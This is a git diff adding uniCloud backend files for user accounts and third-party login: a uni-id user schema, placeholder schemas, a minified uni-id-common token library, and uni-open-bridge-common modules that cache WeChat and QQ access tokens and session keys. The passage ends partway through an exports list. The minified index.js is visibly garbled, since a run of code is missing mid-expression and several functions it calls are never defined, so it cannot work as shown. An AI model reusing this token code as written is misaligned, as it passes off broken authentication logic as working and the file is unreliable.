+{"bsonType":"object","required":[],"properties":{"_id":{"description":"存储文档 ID(用户 ID),系统自动生成"},"username":{"bsonType":"string","title":"用户名","description":"用户名,不允许重复","trim":"both"},"password":{"bsonType":"password","title":"密码","description":"密码,加密存储","trim":"both"},"password_secret_version":{"bsonType":"int","title":"passwordSecret","description":"密码使用的passwordSecret版本"},"nickname":{"bsonType":"string","title":"昵称","description":"用户昵称","trim":"both"},"gender":{"bsonType":"int","title":"性别","description":"用户性别:0 未知 1 男性 2 女性","defaultValue":0,"enum":[{"text":"未知","value":0},{"text":"男","value":1},{"text":"女","value":2}]},"status":{"bsonType":"int","description":"用户状态:0 正常 1 禁用 2 审核中 3 审核拒绝","title":"用户状态","defaultValue":0,"enum":[{"text":"正常","value":0},{"text":"禁用","value":1},{"text":"审核中","value":2},{"text":"审核拒绝","value":3}]},"mobile":{"bsonType":"string","title":"手机号码","description":"手机号码","pattern":"^\\+?[0-9-]{3,20}$","trim":"both"},"mobile_confirmed":{"bsonType":"int","description":"手机号验证状态:0 未验证 1 已验证","title":"手机号验证状态","defaultValue":0,"enum":[{"text":"未验证","value":0},{"text":"已验证","value":1}]},"email":{"bsonType":"string","format":"email","title":"邮箱","description":"邮箱地址","trim":"both"},"email_confirmed":{"bsonType":"int","description":"邮箱验证状态:0 未验证 1 已验证","title":"邮箱验证状态","defaultValue":0,"enum":[{"text":"未验证","value":0},{"text":"已验证","value":1}]},"avatar":{"bsonType":"string","title":"头像地址","description":"头像地址","trim":"both"},"avatar_file":{"bsonType":"file","title":"头像文件","description":"用file类型方便使用uni-file-picker组件"},"d_ids":{"bsonType":"array","description":"部门ID","title":"部门","foreignKey":"opendb-department._id","enumType":"tree","enum":{"collection":"opendb-department","orderby":"name asc","field":"_id as value, name as text"}},"e_ids":{"bsonType":"array","description":"企业ID","title":"企业"},"role":{"bsonType":"array","title":"角色","description":"用户角色","enum":{"collection":"uni-id-roles","field":"role_id as value, role_name as text"},"foreignKey":"uni-id-roles.role_id","permission":{"write":false}},"wx_unionid":{"bsonType":"string","description":"微信unionid"},"wx_openid":{"bsonType":"object","description":"微信各个平台openid","properties":{"app":{"bsonType":"string","description":"app平台微信openid"},"mp":{"bsonType":"string","description":"微信小程序平台openid"},"h5":{"bsonType":"string","description":"微信公众号平台openid"},"web":{"bsonType":"string","description":"微信网页登录openid"}}},"ali_openid":{"bsonType":"string","description":"支付宝平台openid"},"apple_openid":{"bsonType":"string","description":"苹果登录openid"},"dcloud_appid":{"bsonType":"array","description":"允许登录的客户端的appid列表","foreignKey":"opendb-app-list.appid"},"comment":{"bsonType":"string","title":"备注","description":"备注","trim":"both"},"third_party":{"bsonType":"object","description":"缓存用户在三方平台的token等信息","properties":{"mp_weixin":{"bsonType":"object","description":"微信小程序相关信息","properties":{"session_key":{"bsonType":"string","description":"微信小程序session key"}}},"app_weixin":{"bsonType":"object","description":"app平台微信相关信息","properties":{"access_token":{"bsonType":"string","description":"app平台微信access token"},"access_token_expired":{"bsonType":"string","description":"app平台微信access token过期时间"},"refresh_token":{"bsonType":"string","description":"app平台微信refresh token"}}},"h5_weixin":{"bsonType":"object","description":"微信公众号平台微信相关信息","properties":{"access_token":{"bsonType":"string","description":"微信公众号平台access token"},"access_token_expired":{"bsonType":"string","description":"微信公众号平台access token过期时间"},"refresh_token":{"bsonType":"string","description":"微信公众号平台refresh token"}}},"web_weixin":{"bsonType":"object","description":"web平台微信相关信息","properties":{"access_token":{"bsonType":"string","description":"web平台微信access token"},"access_token_expired":{"bsonType":"string","description":"web平台微信access token过期时间"},"refresh_token":{"bsonType":"string","description":"web平台微信refresh token"}}},"mp_qq":{"bsonType":"object","description":"QQ小程序相关信息","properties":{"session_key":{"bsonType":"string","description":"QQ小程序session key"}}},"app_qq":{"bsonType":"object","description":"app平台QQ相关信息","properties":{"access_token":{"bsonType":"string","description":"app平台QQ access token"},"access_token_expired":{"bsonType":"string","description":"app平台QQ access token过期时间"}}}}},"register_env":{"bsonType":"object","description":"注册环境信息","properties":{"appid":{"bsonType":"string","description":"注册时的应用AppId"},"uni_platform":{"bsonType":"string","description":"注册时的应用平台,app、h5等"},"os_name":{"bsonType":"string","description":"注册时的客户端系统类型,ios、android、windows、mac、linux"},"app_name":{"bsonType":"string","description":"注册时的应用名称"},"app_version":{"bsonType":"string","description":"注册时的应用版本名称"},"app_version_code":{"bsonType":"string","description":"注册时的应用版本号码"},"channel":{"bsonType":"string","description":"注册时的应用渠道或小程序启动场景"},"client_ip":{"bsonType":"string","description":"注册时的客户端ip"}}},"realname_auth":{"bsonType":"object","description":"实名认证信息","required":["type","auth_status"],"properties":{"type":{"bsonType":"int","minimum":0,"maximum":1,"description":"用户类型:0 个人用户 1 企业用户"},"auth_status":{"bsonType":"int","minimum":0,"maximum":3,"description":"认证状态:0 未认证 1 等待认证 2 认证通过 3 认证失败"},"auth_date":{"bsonType":"timestamp","description":"认证通过时间"},"real_name":{"bsonType":"string","description":"真实姓名\/企业名称"},"identity":{"bsonType":"string","description":"身份证号码\/营业执照号码"},"id_card_front":{"bsonType":"string","description":"身份证正面照 URL"},"id_card_back":{"bsonType":"string","description":"身份证反面照 URL"},"in_hand":{"bsonType":"string","description":"手持身份证照片 URL"},"license":{"bsonType":"string","description":"营业执照 URL"},"contact_person":{"bsonType":"string","description":"联系人姓名"},"contact_mobile":{"bsonType":"string","description":"联系人手机号码"},"contact_email":{"bsonType":"string","description":"联系人邮箱"}}},"score":{"bsonType":"int","description":"用户积分,积分变更记录可参考:uni-id-scores表定义"},"register_date":{"bsonType":"timestamp","description":"注册时间","forceDefaultValue":{"$env":"now"}},"register_ip":{"bsonType":"string","description":"注册时 IP 地址","forceDefaultValue":{"$env":"clientIP"}},"last_login_date":{"bsonType":"timestamp","description":"最后登录时间"},"last_login_ip":{"bsonType":"string","description":"最后登录时 IP 地址"},"token":{"bsonType":"array","description":"用户token"},"inviter_uid":{"bsonType":"array","description":"用户全部上级邀请者","trim":"both"},"invite_time":{"bsonType":"timestamp","description":"受邀时间"},"my_invite_code":{"bsonType":"string","description":"用户自身邀请码"},"identities":{"bsonType":"array","description":"三方平台身份信息;一个对象代表一个身份,参数支持: provider 身份源, userInfo 三方用户信息, openid 三方openid, unionid 三方unionid, uid 三方uid","permission":{"read":"'READ_UNI_ID_USERS' in auth.permission","write":"'CREATE_UNI_ID_USERS' in auth.permission || 'UPDATE_UNI_ID_USERS' in auth.permission"}}},"version":"1.0.3"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/vk-components-dynamic.schema.json b/uniCloud-tcb/database/vk-components-dynamic.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/vk-components-dynamic.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/vk-files-categories.schema.json b/uniCloud-tcb/database/vk-files-categories.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/vk-files-categories.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/vk-files.schema.json b/uniCloud-tcb/database/vk-files.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/vk-files.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/vk-global-data.schema.json b/uniCloud-tcb/database/vk-global-data.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/vk-global-data.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/vk-pay-config.schema.json b/uniCloud-tcb/database/vk-pay-config.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/vk-pay-config.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/vk-pay-orders.schema.json b/uniCloud-tcb/database/vk-pay-orders.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/vk-pay-orders.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/vk-test.schema.json b/uniCloud-tcb/database/vk-test.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/vk-test.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uni_modules/uni-id-common/uniCloud/cloudfunctions/common/uni-id-common/index.js b/uni_modules/uni-id-common/uniCloud/cloudfunctions/common/uni-id-common/index.js
new file mode 100644
index 0000000..303d1cd
--- /dev/null
+++ b/uni_modules/uni-id-common/uniCloud/cloudfunctions/common/uni-id-common/index.js
@@ -0,0 +1 @@
+"use strict";var e,n=(e=require("crypto"))&&"object"==typeof e&&"default"in e?e.default:e;const i={TOKEN_EXPIRED:"uni-id-token-expired",CHECK_TOKEN_FAILED:"uni-id-check-token-failed",PARAM_REQUIRED:"uni-id-param-required",ACCOUNT_EXISTS:"uni-id-account-exists",ACCOUNT_NOT_EXISTS:"uni-id-account-not-exists",ACCOUNT_CONFLICT:"uni-id-account-conflict",ACCOUNT_BANNED:"uni-id-account-banned",ACCOUNT_AUDITING:"uni-id-account-auditing",ACCOUNT_AUDIT_FAILED:"uni-id-account-audit-failed",ACCOUNT_CLOSED:"uni-id-account-closed"};function t(e){return!!e&&("object"==typeof e||"function"==typeof e)&&"function"==typeof e.then}function r(e){if(!e)return;const n=e.match(/^(\d+).(\d+).(\d+)/);return n?n.slice(1,4).map(e=>parseInt(e)):void 0}function o(e,n){const i=r(e),t=r(n);return i?t?function(e,n){const i=Math.max(e.length,n.length);for(let t=0;tr)return 1;if(i=e)throw new Error("Config error, tokenExpiresThreshold should be less than tokenExpiresIn");n>e/2&&console.warn(`Please check whether the tokenExpiresThreshold configuration is set too large, tokenExpiresThreshold: ${n}, tokenExpiresIn: ${e}`)}get customToken(){return this.uniId.interceptorMap.get("customToken")}isTokenInDb(e){return o(e,"1.0.10")>=0}async getUserRecord(){if(this.userRecord)return this.userRecord;const e=await C.doc(this.uid).get();if(this.userRecord=e.data[0],!this.userRecord)throw{errCode:i.ACCOUNT_NOT_EXISTS};switch(this.userRecord.status){case void 0:case 0:break;case 1:throw{errCode:i.ACCOUNT_BANNED};case 2:throw{errCode:i.ACCOUNT_AUDITING};case 3:throw{errCode:i.ACCOUNT_AUDIT_FAILED};case 4:throw{errCode:i.ACCOUNT_CLOSED}}if(this.oldTokenPayload){if(this.isTokenInDb(this.oldTokenPayload.uniIdVersion)){if(-1===(this.userRecord.token||[]).indexOf(this.oldToken))throw{errCode:i.CHECK_TOKEN_FAILED}}if(this.userRecord.valid_token_date&&this.userRecord.valid_token_date>1e3*this.oldTokenPayload.iat)throw{errCode:i.TOKEN_EXPIRED}}return this.userRecord}async updateUserRecord(e){await C.doc(this.uid).update(e)}async getUserPermission(){if(this.userPermission)return this.userPermission;const e=(await this.getUserRecord()).role||[];if(0===e.length)return this.userPermission={role:[],permission:[]},this.userPermission;if(e.includes("admin"))return this.userPermission={role:e,permission:[]},this.userPermission;const n=await T.where({role_id:I.in(e)}).get(),i=(t=n.data.reduce((e,n)=>(n.permission&&e.push(...n.permission),e),[]),Array.from(new Set(t)));var t;return this.userPermission={role:e,permission:i},this.userPermission}async _createToken({uid:e,role:n,permission:t}={}){if(!n||!t){const e=await this.getUserPermission();n=e.role,t=e.permission}let r={uid:e,role:n,permission:t};if(this.uniId.interceptorMap.has("customToken")){const i=this.uniId.interceptorMap.get("customToken");if("function"!=typeof i)throw new Error("Invalid custom token file");r=await i({uid:e,role:n,permission:t})}const o=Date.now(),{tokenSecret:s,tokenExpiresIn:c,maxTokenLength:a=10}=this.config,u=g({...r,uniIdVersion:"1.0.19"},s,{expiresIn:c}),d=await this.getUserRecord(),l=(d.token||[]).filter(e=>{try{const n=this._checkToken(e);if(d.valid_token_date&&d.valid_token_date>1e3*n.iat)return!1}catch(e){if(e.errCode===i.TOKEN_EXPIRED)return!1}return!0});return l.push(u),l.length>a&&l.splice(0,l.length-a),await this.updateUserRecord({last_login_ip:this.clientInfo.clientIP,last_login_date:o,token:l}),{token:u,tokenExpired:o+1e3*c}}async createToken({uid:e,role:n,permission:t}={}){if(!e)throw{errCode:i.PARAM_REQUIRED,errMsgValue:{param:"uid"}};this.uid=e;const{token:r,tokenExpired:o}=await this._createToken({uid:e,role:n,permission:t});return{errCode:0,token:r,tokenExpired:o}}async refreshToken({token:e}={}){if(!e)throw{errCode:i.PARAM_REQUIRED,errMsgValue:{param:"token"}};this.oldToken=e;const n=this._checkToken(e);this.uid=n.uid,this.oldTokenPayload=n;const{uid:t}=n,{role:r,permission:o}=await this.getUserPermission(),{token:s,tokenExpired:c}=await this._createToken({uid:t,role:r,permission:o});return{errCode:0,token:s,tokenExpired:c}}_checkToken(e){const{tokenSecret:n}=this.config;let t;try{t=k(e,n)}catch(e){if("TokenExpiredError"===e.name)throw{errCode:i.TOKEN_EXPIRED};throw{errCode:i.CHECK_TOKEN_FAILED}}return t}async checkToken(e,{autoRefresh:n=!0}={}){if(!e)throw{errCode:i.CHECK_TOKEN_FAILED};this.oldToken=e;const t=this._checkToken(e);this.uid=t.uid,this.oldTokenPayload=t;const{tokenExpiresThreshold:r}=this.config,{uid:o,role:s,permission:c}=t,a={role:s,permission:c};if(!s&&!c){const{role:e,permission:n}=await this.getUserPermission();a.role=e,a.permission=n}if(!r||!n){const e={code:0,errCode:0,...t,...a};return delete e.uniIdVersion,e}const u=Date.now();let d={};1e3*t.exp-u<1e3*r&&(d=await this._createToken({uid:o}));const l={code:0,errCode:0,...t,...a,...d};return delete l.uniIdVersion,l}}var E=Object.freeze({__proto__:null,checkToken:async function(e,{autoRefresh:n=!0}={}){return new m({uniId:this}).checkToken(e,{autoRefresh:n})},createToken:async function({uid:e,role:n,permission:i}={}){return new m({uniId:this}).createToken({uid:e,role:n,permission:i})},refreshToken:async function({token:e}={}){return new m({uniId:this}).refreshToken({token:e})}});const w=require("uni-config-center")({pluginId:"uni-id"});class x{constructor({context:e,clientInfo:n,config:i}={}){this._clientInfo=e?function(e){return{appId:e.APPID,platform:e.PLATFORM,locale:e.LOCALE,clientIP:e.CLIENTIP,deviceId:e.DEVICEID}}(e):n,this._config=i,this.config=this._getOriginConfig(),this.interceptorMap=new Map,w.hasFile("custom-token.js")&&this.setInterceptor("customToken",require(w.resolve("custom-token.js")));this._i18n=uniCloud.initI18n({locale:this._clientInfo.locale,fallbackLocale:"zh-Hans",messages:JSON.parse(JSON.stringify(d))}),d[this._i18n.locale]||this._i18n.setLocale("zh-Hans")}setInterceptor(e,n){this.interceptorMap.set(e,n)}_t(...e){return this._i18n.t(...e)}_parseOriginConfig(e){return Array.isArray(e)?e:e[0]?Object.values(e):e}_getOriginConfig(){if(this._config)return this._config;if(w.hasFile("config.json")){let e;try{e=w.config()}catch(e){throw new Error("Invalid uni-id config file\n"+e.message)}return this._parseOriginConfig(e)}try{return this._parseOriginConfig(require("uni-id/config.json"))}catch(e){throw new Error("Invalid uni-id config file")}}_getAppConfig(){const e=this._getOriginConfig();return Array.isArray(e)?e.find(e=>e.dcloudAppid===this._clientInfo.appId)||e.find(e=>e.isDefaultConfig):e}_getPlatformConfig(){const e=this._getAppConfig();if(!e)throw new Error(`Config for current app (${this._clientInfo.appId}) was not found, please check your config file or client appId`);let n;switch(["app-plus","app-android","app-ios"].indexOf(this._clientInfo.platform)>-1&&(this._clientInfo.platform="app"),"h5"===this._clientInfo.platform&&(this._clientInfo.platform="web"),this._clientInfo.platform){case"web":n="h5";break;case"app":n="app-plus"}const i=[{tokenExpiresIn:7200,tokenExpiresThreshold:1200,passwordErrorLimit:6,passwordErrorRetryTime:3600},e];n&&e[n]&&i.push(e[n]),i.push(e[this._clientInfo.platform]);const t=Object.assign(...i);return["tokenSecret","tokenExpiresIn"].forEach(e=>{if(!t||!t[e])throw new Error(`Config parameter missing, ${e} is required, please check your config file uniCloud/cloudfunctions/common/uni-config-center/uni-id/config.json`)}),t}_getConfig(){return this._getPlatformConfig()}}for(const e in E)x.prototype[e]=E[e];function y(e){const n=new x(e);return new Proxy(n,{get(e,n){if(n in e&&0!==n.indexOf("_")){if("function"==typeof e[n])return(i=e[n],function(){let e;try{e=i.apply(this,arguments)}catch(e){if(a(e))return c.call(this,e),e;throw e}return t(e)?e.then(e=>(a(e)&&c.call(this,e),e),e=>{if(a(e))return c.call(this,e),e;throw e}):(a(e)&&c.call(this,e),e)}).bind(e);if("context"!==n&&"config"!==n)return e[n]}var i}})}x.prototype.createInstance=y;const O={createInstance:y};module.exports=O;
diff --git a/uni_modules/uni-id-common/uniCloud/cloudfunctions/common/uni-id-common/package.json b/uni_modules/uni-id-common/uniCloud/cloudfunctions/common/uni-id-common/package.json
new file mode 100644
index 0000000..37b425a
--- /dev/null
+++ b/uni_modules/uni-id-common/uniCloud/cloudfunctions/common/uni-id-common/package.json
@@ -0,0 +1,20 @@
+{
+ "name": "uni-id-common",
+ "version": "1.0.19",
+ "description": "uni-id token生成、校验、刷新",
+ "main": "index.js",
+ "homepage": "https:\/\/uniapp.dcloud.io\/uniCloud\/uni-id-common.html",
+ "repository": {
+ "type": "git",
+ "url": "git+https:\/\/gitee.com\/dcloud\/uni-id-common.git"
+ },
+ "author": "DCloud",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "uni-config-center": "file:..\/..\/..\/..\/..\/uni-config-center\/uniCloud\/cloudfunctions\/common\/uni-config-center"
+ },
+ "origin-plugin-dev-name": "uni-id-common",
+ "origin-plugin-version": "1.0.19",
+ "plugin-dev-name": "uni-id-common",
+ "plugin-version": "1.0.19"
+}
\ No newline at end of file
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/bridge-error.js b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/bridge-error.js
new file mode 100644
index 0000000..95160a4
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/bridge-error.js
@@ -0,0 +1,26 @@
+'use strict';
+
+class BridgeError extends Error {
+
+ constructor(code, message) {
+ super(message)
+
+ this._code = code
+ }
+
+ get code() {
+ return this._code
+ }
+
+ get errCode() {
+ return this._code
+ }
+
+ get errMsg() {
+ return this.message
+ }
+}
+
+module.exports = {
+ BridgeError
+}
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/config.js b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/config.js
new file mode 100644
index 0000000..d083f00
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/config.js
@@ -0,0 +1,124 @@
+'use strict';
+
+const {
+ ProviderType
+} = require('./consts.js')
+
+const configCenter = require('uni-config-center')
+
+// 多维数据为兼容uni-id以前版本配置
+const OauthConfig = {
+ 'weixin-app': [
+ ['app', 'oauth', 'weixin'],
+ ['app-plus', 'oauth', 'weixin']
+ ],
+ 'weixin-mp': [
+ ['mp-weixin', 'oauth', 'weixin']
+ ],
+ 'weixin-h5': [
+ ['web', 'oauth', 'weixin-h5'],
+ ['h5-weixin', 'oauth', 'weixin'],
+ ['h5', 'oauth', 'weixin']
+ ],
+ 'weixin-web': [
+ ['web', 'oauth', 'weixin-web']
+ ],
+ 'qq-app': [
+ ['app', 'oauth', 'qq'],
+ ['app-plus', 'oauth', 'qq']
+ ],
+ 'qq-mp': [
+ ['mp-qq', 'oauth', 'qq']
+ ]
+}
+
+const Support_Platforms = [
+ ProviderType.WEIXIN_MP,
+ ProviderType.WEIXIN_H5,
+ ProviderType.WEIXIN_APP,
+ ProviderType.WEIXIN_WEB,
+ ProviderType.QQ_MP,
+ ProviderType.QQ_APP
+]
+
+class ConfigBase {
+
+ constructor() {
+ const uniIdConfigCenter = configCenter({
+ pluginId: 'uni-id'
+ })
+
+ this._uniIdConfig = uniIdConfigCenter.config()
+ }
+
+ getAppConfig(appid) {
+ if (Array.isArray(this._uniIdConfig)) {
+ return this._uniIdConfig.find((item) => {
+ return (item.dcloudAppid === appid)
+ })
+ }
+ return this._uniIdConfig
+ }
+}
+
+class AppConfig extends ConfigBase {
+
+ constructor() {
+ super()
+ }
+
+ get(appid, platform) {
+ if (!this.isSupport(platform)) {
+ return null
+ }
+
+ let appConfig = this.getAppConfig(appid)
+ if (!appConfig) {
+ return null
+ }
+
+ return this.getOauthConfig(appConfig, platform)
+ }
+
+ isSupport(platformName) {
+ return (Support_Platforms.indexOf(platformName) >= 0)
+ }
+
+ getOauthConfig(appConfig, platformName) {
+ let treePath = OauthConfig[platformName]
+ let node = this.findNode(appConfig, treePath)
+ if (node && node.appid && node.appsecret) {
+ return {
+ appid: node.appid,
+ secret: node.appsecret
+ }
+ }
+ return null
+ }
+
+ findNode(treeNode, arrayPath) {
+ let node = treeNode
+ for (let treePath of arrayPath) {
+ for (let name of treePath) {
+ const currentNode = node[name]
+ if (currentNode) {
+ node = currentNode
+ } else {
+ node = null
+ break
+ }
+ }
+ if (node === null) {
+ node = treeNode
+ } else {
+ break
+ }
+ }
+ return node
+ }
+}
+
+
+module.exports = {
+ AppConfig
+};
\ No newline at end of file
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/consts.js b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/consts.js
new file mode 100644
index 0000000..4c666e9
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/consts.js
@@ -0,0 +1,30 @@
+'use strict';
+
+const TAG = "UNI_OPEN_BRIDGE"
+
+const HTTP_STATUS = {
+ SUCCESS: 200
+}
+
+const ProviderType = {
+ WEIXIN_MP: 'weixin-mp',
+ WEIXIN_H5: 'weixin-h5',
+ WEIXIN_APP: 'weixin-app',
+ WEIXIN_WEB: 'weixin-web',
+ QQ_MP: 'qq-mp',
+ QQ_APP: 'qq-app'
+}
+
+// old
+const PlatformType = ProviderType
+
+const ErrorCodeType = {
+ SYSTEM_ERROR: TAG + "_SYSTEM_ERROR"
+}
+
+module.exports = {
+ HTTP_STATUS,
+ ProviderType,
+ PlatformType,
+ ErrorCodeType
+}
diff --git a/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/index.js b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/index.js
new file mode 100644
index 0000000..1b5a340
--- /dev/null
+++ b/uni_modules/uni-open-bridge-common/uniCloud/cloudfunctions/common/uni-open-bridge-common/index.js
@@ -0,0 +1,317 @@
+'use strict';
+
+const {
+ PlatformType,
+ ProviderType,
+ ErrorCodeType
+} = require('./consts.js')
+
+const {
+ AppConfig
+} = require('./config.js')
+
+const {
+ Storage
+} = require('./storage.js')
+
+const {
+ BridgeError
+} = require('./bridge-error.js')
+
+const {
+ WeixinServer
+} = require('./weixin-server.js')
+
+const appConfig = new AppConfig()
+
+class AccessToken extends Storage {
+
+ constructor() {
+ super('access-token', ['provider', 'appid'])
+ }
+
+ async update(key) {
+ super.update(key)
+
+ const result = await this.getByWeixinServer(key)
+
+ return this.set(key, result.value, result.duration)
+ }
+
+ async fallback(key) {
+ return this.getByWeixinServer(key)
+ }
+
+ async getByWeixinServer(key) {
+ const oauthConfig = appConfig.get(key.dcloudAppid, key.provider)
+ let methodName
+ if (key.provider === ProviderType.WEIXIN_MP) {
+ methodName = 'GetMPAccessTokenData'
+ } else if (key.provider === ProviderType.WEIXIN_H5) {
+ methodName = 'GetH5AccessTokenData'
+ } else {
+ throw new BridgeError(ErrorCodeType.SYSTEM_ERROR, "provider invalid")
+ }
+
+ const responseData = await WeixinServer[methodName](oauthConfig)
+
+ const duration = responseData.expires_in || (60 * 60 * 2)
+ delete responseData.expires_in
+
+ return {
+ value: responseData,
+ duration
+ }
+ }
+}
+
+class UserAccessToken extends Storage {
+
+ constructor() {
+ super('user-access-token', ['provider', 'appid', 'openid'])
+ }
+}
+
+class SessionKey extends Storage {
+
+ constructor() {
+ super('session-key', ['provider', 'appid', 'openid'])
+ }
+}
+
+class Encryptkey extends Storage {
+
+ constructor() {
+ super('encrypt-key', ['provider', 'appid', 'openid'])
+ }
+
+ async update(key) {
+ super.update(key)
+
+ const result = await this.getByWeixinServer(key)
+
+ return this.set(key, result.value, result.duration)
+ }
+
+ getKeyString(key) {
+ return `${super.getKeyString(key)}-${key.version}`
+ }
+
+ getExpiresIn(value) {
+ if (value <= 0) {
+ return 60
+ }
+ return value
+ }
+
+ async fallback(key) {
+ return this.getByWeixinServer(key)
+ }
+
+ async getByWeixinServer(key) {
+ const accessToken = await Factory.Get(AccessToken, key)
+ const userSession = await Factory.Get(SessionKey, key)
+
+ const responseData = await WeixinServer.GetUserEncryptKeyData({
+ openid: key.openid,
+ access_token: accessToken.access_token,
+ session_key: userSession.session_key
+ })
+
+ const keyInfo = responseData.key_info_list.find((item) => {
+ return item.version === key.version
+ })
+
+ if (!keyInfo) {
+ throw new BridgeError(ErrorCodeType.SYSTEM_ERROR, 'key version invalid')
+ }
+
+ const value = {
+ encrypt_key: keyInfo.encrypt_key,
+ iv: keyInfo.iv
+ }
+
+ return {
+ value,
+ duration: keyInfo.expire_in || (24 * 60 * 60)
+ }
+ }
+}
+
+class Ticket extends Storage {
+
+ constructor() {
+ super('ticket', ['provider', 'appid'])
+ }
+
+ async update(key) {
+ super.update(key)
+
+ const result = await this.getByWeixinServer(key)
+
+ return this.set(key, result.value, result.duration)
+ }
+
+ async fallback(key) {
+ return this.getByWeixinServer(key)
+ }
+
+ async getByWeixinServer(key) {
+ const accessToken = await Factory.Get(AccessToken, {
+ dcloudAppid: key.dcloudAppid,
+ provider: ProviderType.WEIXIN_H5
+ })
+
+ const responseData = await WeixinServer.GetH5TicketData(accessToken)
+
+ const duration = responseData.expires_in || (60 * 60 * 2)
+ delete responseData.expires_in
+ delete responseData.errcode
+ delete responseData.errmsg
+
+ return {
+ value: responseData,
+ duration
+ }
+ }
+}
+
+
+const Factory = {
+
+ async Get(T, key, fallback) {
+ Factory.FixOldKey(key)
+ return Factory.MakeUnique(T).get(key, fallback)
+ },
+
+ async Set(T, key, value, expiresIn) {
+ Factory.FixOldKey(key)
+ return Factory.MakeUnique(T).set(key, value, expiresIn)
+ },
+
+ async Remove(T, key) {
+ Factory.FixOldKey(key)
+ return Factory.MakeUnique(T).remove(key)
+ },
+
+ async Update(T, key) {
+ Factory.FixOldKey(key)
+ return Factory.MakeUnique(T).update(key)
+ },
+
+ FixOldKey(key) {
+ if (!key.provider) {
+ key.provider = key.platform
+ }
+
+ const configData = appConfig.get(key.dcloudAppid, key.provider)
+ if (!configData) {
+ throw new BridgeError(ErrorCodeType.SYSTEM_ERROR, 'appid or provider invalid')
+ }
+ key.appid = configData.appid
+ },
+
+ MakeUnique(T) {
+ return new T()
+ }
+}
+
+
+// exports
+
+async function getAccessToken(key, fallback) {
+ return Factory.Get(AccessToken, key, fallback)
+}
+
+async function setAccessToken(key, value, expiresIn) {
+ return Factory.Set(AccessToken, key, value, expiresIn)
+}
+
+async function removeAccessToken(key) {
+ return Factory.Remove(AccessToken, key)
+}
+
+async function updateAccessToken(key) {
+ return Factory.Update(AccessToken, key)
+}
+
+async function getUserAccessToken(key, fallback) {
+ return Factory.Get(UserAccessToken, key, fallback)
+}
+
+async function setUserAccessToken(key, value, expiresIn) {
+ return Factory.Set(UserAccessToken, key, value, expiresIn)
+}
+
+async function removeUserAccessToken(key) {
+ return Factory.Remove(UserAccessToken, key)
+}
+
+async function getSessionKey(key, fallback) {
+ return Factory.Get(SessionKey, key, fallback)
+}
+
+async function setSessionKey(key, value, expiresIn) {
+ return Factory.Set(SessionKey, key, value, expiresIn)
+}
+
+async function removeSessionKey(key) {
+ return Factory.Remove(SessionKey, key)
+}
+
+async function getEncryptKey(key, fallback) {
+ return Factory.Get(Encryptkey, key, fallback)
+}
+
+async function setEncryptKey(key, value, expiresIn) {
+ return Factory.Set(Encryptkey, key, value, expiresIn)
+}
+
+async function removeEncryptKey(key) {
+ return Factory.Remove(Encryptkey, key)
+}
+
+async function updateEncryptKey(key) {
+ return Factory.Update(Encryptkey, key)
+}
+
+async function getTicket(key, fallback) {
+ return Factory.Get(Ticket, key, fallback)
+}
+
+async function setTicket(key, value, expiresIn) {
+ return Factory.Set(Ticket, key, value, expiresIn)
+}
+
+async function removeTicket(key) {
+ return Factory.Remove(Ticket, key)
+}
+
+async function updateTicket(key) {
+ return Factory.Update(Ticket, key)
+}
+
+module.exports = {
+ getAccessToken,
+ setAccessToken,
